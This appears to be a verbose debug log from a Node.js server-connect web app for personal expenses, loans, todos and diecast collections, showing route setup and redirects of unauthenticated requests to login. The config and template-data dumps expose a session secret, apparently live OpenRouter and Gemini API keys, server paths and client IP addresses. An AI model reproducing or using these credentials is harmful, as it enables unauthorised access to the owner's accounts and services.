2026-06-13T16:47:30.222Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-13T16:47:30.225Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-13T16:47:30.229Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-13T16:47:30.229Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-13T16:47:30.233Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-13T16:47:30.238Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-13T16:47:30.241Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-13T16:47:30.242Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-13T16:47:30.243Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-13T16:47:30.249Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-13T16:47:30.249Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-13T16:47:30.256Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-13T16:47:30.259Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-13T16:47:30.261Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-13T16:47:30.271Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-13T17:09:19.149Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-13T17:09:19.323Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-13T17:09:19.402Z server-connect:setup:upload Upload middleware configured.
2026-06-13T17:09:19.403Z server-connect:secure CSRF Protection initialized
2026-06-13T17:09:19.404Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-13T17:09:19.405Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-13T17:09:19.405Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-13T17:09:19.407Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-13T17:09:19.408Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-13T17:09:19.408Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-13T17:09:19.409Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-13T17:09:19.410Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-13T17:09:19.410Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-13T17:09:19.413Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-13T17:09:19.413Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-13T17:09:19.413Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-13T17:09:19.414Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-13T17:09:19.414Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-13T17:09:19.414Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-13T17:09:19.415Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-13T17:09:19.415Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-13T17:09:19.415Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-13T17:09:19.416Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-13T17:09:19.416Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-13T17:09:19.416Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-13T17:09:19.417Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-13T17:09:19.417Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-13T17:09:19.417Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-13T17:09:19.417Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-13T17:09:19.418Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-13T17:09:19.418Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-13T17:09:19.418Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-13T17:09:19.418Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-13T17:09:19.418Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-13T17:09:19.419Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-13T17:09:19.419Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-13T17:09:19.419Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-13T17:09:19.419Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-13T17:09:19.419Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-13T17:09:19.420Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-13T17:09:19.420Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-13T17:09:19.420Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-13T17:09:19.520Z server-connect:router Serving templateView /
2026-06-13T17:09:19.533Z server-connect:app Executing action step identify
2026-06-13T17:09:19.533Z server-connect:app options: { provider: 'security' }
2026-06-13T17:09:19.536Z server-connect:auth No login cookie found
2026-06-13T17:09:19.536Z server-connect:output identity: false
2026-06-13T17:09:19.536Z server-connect:app Executing action step restrict
2026-06-13T17:09:19.536Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-13T17:09:19.540Z server-connect:output restrict: undefined
2026-06-13T17:09:19.587Z server-connect:router Serving templateView /login
2026-06-13T17:09:19.587Z server-connect:app Executing action step identify
2026-06-13T17:09:19.587Z server-connect:app options: { provider: 'security' }
2026-06-13T17:09:19.587Z server-connect:auth No login cookie found
2026-06-13T17:09:19.587Z server-connect:output identity: false
2026-06-13T17:09:19.587Z server-connect:router Render template layouts/authentication
2026-06-13T17:09:19.588Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    connection: 'keep-alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '31.70.75.89',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-14T17:09:19.585Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '31.70.75.89',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '31.70.75.89',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-13T19:34:03.312Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-13T19:34:03.493Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-13T19:34:03.565Z server-connect:setup:upload Upload middleware configured.
2026-06-13T19:34:03.565Z server-connect:secure CSRF Protection initialized
2026-06-13T19:34:03.577Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-13T19:34:03.577Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-13T19:34:03.578Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-13T19:34:03.578Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-13T19:34:03.579Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-13T19:34:03.580Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-13T19:34:03.580Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-13T19:34:03.581Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-13T19:34:03.584Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-13T19:34:03.584Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-13T19:34:03.585Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-13T19:34:03.585Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-13T19:34:03.585Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-13T19:34:03.586Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-13T19:34:03.586Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-13T19:34:03.586Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-13T19:34:03.587Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-13T19:34:03.587Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-13T19:34:03.587Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-13T19:34:03.588Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-13T19:34:03.588Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-13T19:34:03.588Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-13T19:34:03.588Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-13T19:34:03.589Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-13T19:34:03.589Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-13T19:34:03.589Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-13T19:34:03.589Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-13T19:34:03.590Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-13T19:34:03.590Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-13T19:34:03.590Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-13T19:34:03.590Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-13T19:34:03.590Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-13T19:34:03.591Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-13T19:34:03.591Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-13T19:34:03.591Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-13T19:34:03.591Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-13T19:34:03.591Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-13T19:34:03.592Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-13T19:43:49.655Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-13T19:43:49.824Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-13T19:43:49.924Z server-connect:setup:upload Upload middleware configured.
2026-06-13T19:43:49.924Z server-connect:secure CSRF Protection initialized
2026-06-13T19:43:49.926Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-13T19:43:49.927Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-13T19:43:49.928Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-13T19:43:49.929Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-13T19:43:49.929Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-13T19:43:49.930Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-13T19:43:49.931Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-13T19:43:49.931Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-13T19:43:49.934Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-13T19:43:49.935Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-13T19:43:49.935Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-13T19:43:49.936Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-13T19:43:49.936Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-13T19:43:49.937Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-13T19:43:49.937Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-13T19:43:49.938Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-13T19:43:49.938Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-13T19:43:49.939Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-13T19:43:49.939Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-13T19:43:49.940Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-13T19:43:49.940Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-13T19:43:49.941Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-13T19:43:49.941Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-13T19:43:49.942Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-13T19:43:49.976Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-13T19:43:49.976Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-13T19:43:49.977Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-13T19:43:49.977Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-13T19:43:49.977Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-13T19:43:49.977Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-13T19:43:49.977Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-13T19:43:49.978Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-13T19:43:49.978Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-13T19:43:49.978Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-13T19:43:49.978Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-13T19:43:49.978Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-13T19:43:49.979Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-13T19:43:49.979Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-13T19:43:50.043Z server-connect:router Serving templateView /
2026-06-13T19:43:50.046Z server-connect:app Executing action step identify
2026-06-13T19:43:50.046Z server-connect:app options: { provider: 'security' }
2026-06-13T19:43:50.048Z server-connect:auth No login cookie found
2026-06-13T19:43:50.048Z server-connect:output identity: false
2026-06-13T19:43:50.048Z server-connect:app Executing action step restrict
2026-06-13T19:43:50.048Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-13T19:43:50.052Z server-connect:output restrict: undefined
2026-06-13T19:43:50.159Z server-connect:router Serving templateView /login
2026-06-13T19:43:50.160Z server-connect:app Executing action step identify
2026-06-13T19:43:50.160Z server-connect:app options: { provider: 'security' }
2026-06-13T19:43:50.160Z server-connect:auth No login cookie found
2026-06-13T19:43:50.160Z server-connect:output identity: false
2026-06-13T19:43:50.160Z server-connect:router Render template layouts/authentication
2026-06-13T19:43:50.161Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)',
    accept: '*/*',
    referer: 'https://www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '87.236.176.244',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-14T19:43:50.158Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '87.236.176.244',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)',
    HTTP_ACCEPT: '*/*',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '87.236.176.244',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-13T21:53:08.255Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-13T21:53:11.174Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-13T21:53:12.040Z server-connect:setup:upload Upload middleware configured.
2026-06-13T21:53:12.040Z server-connect:secure CSRF Protection initialized
2026-06-13T21:53:12.045Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-13T21:53:12.047Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-13T21:53:12.048Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-13T21:53:12.051Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-13T21:53:12.056Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-13T21:53:12.063Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-13T21:53:12.074Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-13T21:53:12.087Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-13T21:53:12.094Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-13T21:53:12.095Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-13T21:53:12.097Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-13T21:53:12.102Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-13T21:53:12.107Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-13T21:53:12.117Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-13T21:53:12.121Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-13T21:53:12.194Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-13T21:53:12.194Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-13T21:53:12.199Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-13T21:53:12.205Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-13T21:53:12.209Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-13T21:53:12.210Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-13T21:53:12.219Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-13T21:53:12.220Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-13T21:53:12.226Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-13T21:53:12.228Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-13T21:53:12.232Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-13T21:53:12.234Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-13T21:53:12.236Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-13T21:53:12.242Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-13T21:53:12.244Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-13T21:53:12.246Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-13T21:53:12.248Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-13T21:53:12.252Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-13T21:53:12.254Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-13T21:53:12.260Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-13T21:53:12.264Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-13T21:53:12.266Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-13T21:53:12.275Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-13T21:53:12.764Z server-connect:router Serving templateView /
2026-06-13T21:53:12.766Z server-connect:app Executing action step identify
2026-06-13T21:53:12.766Z server-connect:app options: { provider: 'security' }
2026-06-13T21:53:12.768Z server-connect:auth No login cookie found
2026-06-13T21:53:12.768Z server-connect:output identity: false
2026-06-13T21:53:12.768Z server-connect:app Executing action step restrict
2026-06-13T21:53:12.768Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-13T21:53:12.772Z server-connect:output restrict: undefined
2026-06-13T23:23:04.897Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
